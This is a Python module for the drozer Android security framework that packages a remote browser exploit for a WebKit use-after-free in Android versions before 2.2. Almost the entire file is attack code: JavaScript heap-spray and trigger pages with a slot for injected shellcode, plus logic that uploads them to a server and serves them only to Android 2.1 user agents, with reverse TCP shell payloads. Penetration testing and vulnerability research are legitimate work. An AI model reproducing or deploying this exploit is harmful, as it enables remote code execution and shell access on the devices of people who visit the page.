from drozer.modules import Module, common
import sys

class UseAfterFree(Module, common.Exploit):

    name = "Webkit Use After Free Exploit (Black Hat 2010)"
    description = """
    Reference: https://media.blackhat.com/bh-ad-10/Nils/Black-Hat-AD-2010-android-sandcastle-wp.pdf
    Vulnerable:
    
      * Android < 2.2

    """
    examples = ""
    author = ["@mwrlabs"]
    date = "2013-07-22"
    license = "BSD (3 clause)"
    module_type = "exploit"
    path = ["exploit", "remote", "browser"]
    payloads = ["weasel.reverse_tcp.armeabi", "shell.reverse_tcp.armeabi"]
    
    __index_html = """
<script src="tools.js"></script>
<script>
var ar = new Array();
function spray() {
    var pattern = unescape("%u48f3");
    var chunk = genStr(pattern, 0x4000-sc.length) + sc;
    chunk = genStr(chunk, 0x120000);
    ar.push(chunk);
    for(var x=0; x<4; x++) ar.push(chunk+chunk);
    document.getElementById("ifr").src = "main4.html";
}
window.setTimeout("spray()",500);
</script>
<iframe id="ifr" src="about:blank"></iframe>
    """

    __main4_html = """
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
    <title>Android</title>
    <script src="tools.js"></script>
    <script src="code4.js"></script>
    <script>
        window.setTimeout("start();",100);
    </script>
</head>
<body>
<iframe width="200" height="200" id="container" src="start.html"></iframe>
</body>
</html>
    """

    __start_html = """
<HEAD><TITLE>X</TITLE>
</HEAD>
<BODY id="mainwindow">
<div id="html_div">
    <button id="html_button">button</button>
</div>
</BODY>
</HTML>
    """

    __tools_js = """
var sc = unescape("xxxyyyzzz");

function genStr(repeat, l) {
    while(repeat.length <= l) repeat+=repeat;
    return repeat.substring(0,l);
}
    """

    __code4_js = """
var ar = new Array();
var s = genStr(unescape("%u48f0"), 0x40);

function hs() {
        for(var x=0;x<6000;x++) ar.push(s+s);
}

function gc() {
    var s = unescape("%uabab");
    while(s.length<0x10000) s+=s;
}


function start() {
//alert("start");
hs();
o71=document.getElementById('container').contentDocument.createElement('p');
document.getElementById('container').contentWindow.location.reload();
window.setTimeout('start406()',100);
}
function start406() {
o129=document.getElementById('container').contentDocument.createElement('video');
try{o71.appendChild(o129)}catch(y){}
o129=null;
gc();
o71=null;
gc();
hs();
document.getElementById('container').contentWindow.location.reload();
gc();
hs();
location.reload();
}
    """
    
    def __init__(self, session, loader):
        Module.__init__(self, session)
        common.Exploit.__init__(self, loader)
        
        self.payload_format = "U"
        self.working_directory = "/data/data/com.android.browser"
        self.mode = "THUMB"
        
    def add_arguments(self, parser):
        parser.add_argument("--resource", default=None, help="specify the path component of the resultant exploit URI")
    
    def generate(self, arguments):
        self.__tools_js = self.__tools_js.replace("xxxyyyzzz", self.payload)
        path = self.generate_or_default_path(arguments.resource)
        target2_1 = ".*Android.*2\.1.*AppleWebKit.*"

        print "Uploading blank page to /...",
        if not self.upload(arguments, "/", " "):
            return

        print "Uploading pages:"
        sys.stdout.write("    /tools.js...") 
        if not self.upload(arguments, "/tools.js", self.build_multipart({ target2_1 : self.__tools_js }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return

        sys.stdout.write("    /code4.js...")
        if not self.upload(arguments, "/code4.js", self.build_multipart({ target2_1 : self.__code4_js }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return

        sys.stdout.write("    /main4.html...")
        if not self.upload(arguments, "/main4.html", self.build_multipart({ target2_1 : self.__main4_html }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return

        sys.stdout.write("    /start.html...")
        if not self.upload(arguments, "/start.html", self.build_multipart({ target2_1 : self.__start_html }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return
        
        sys.stdout.write("Uploading entry page to %s..." % path)
        if not self.upload(arguments, path, self.build_multipart({ target2_1 : self.__index_html }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return
        
        print "Done. The exploit is available on: http://%s:%d%s" % (arguments.server[0], arguments.server[1], path.replace("\\",""))
        
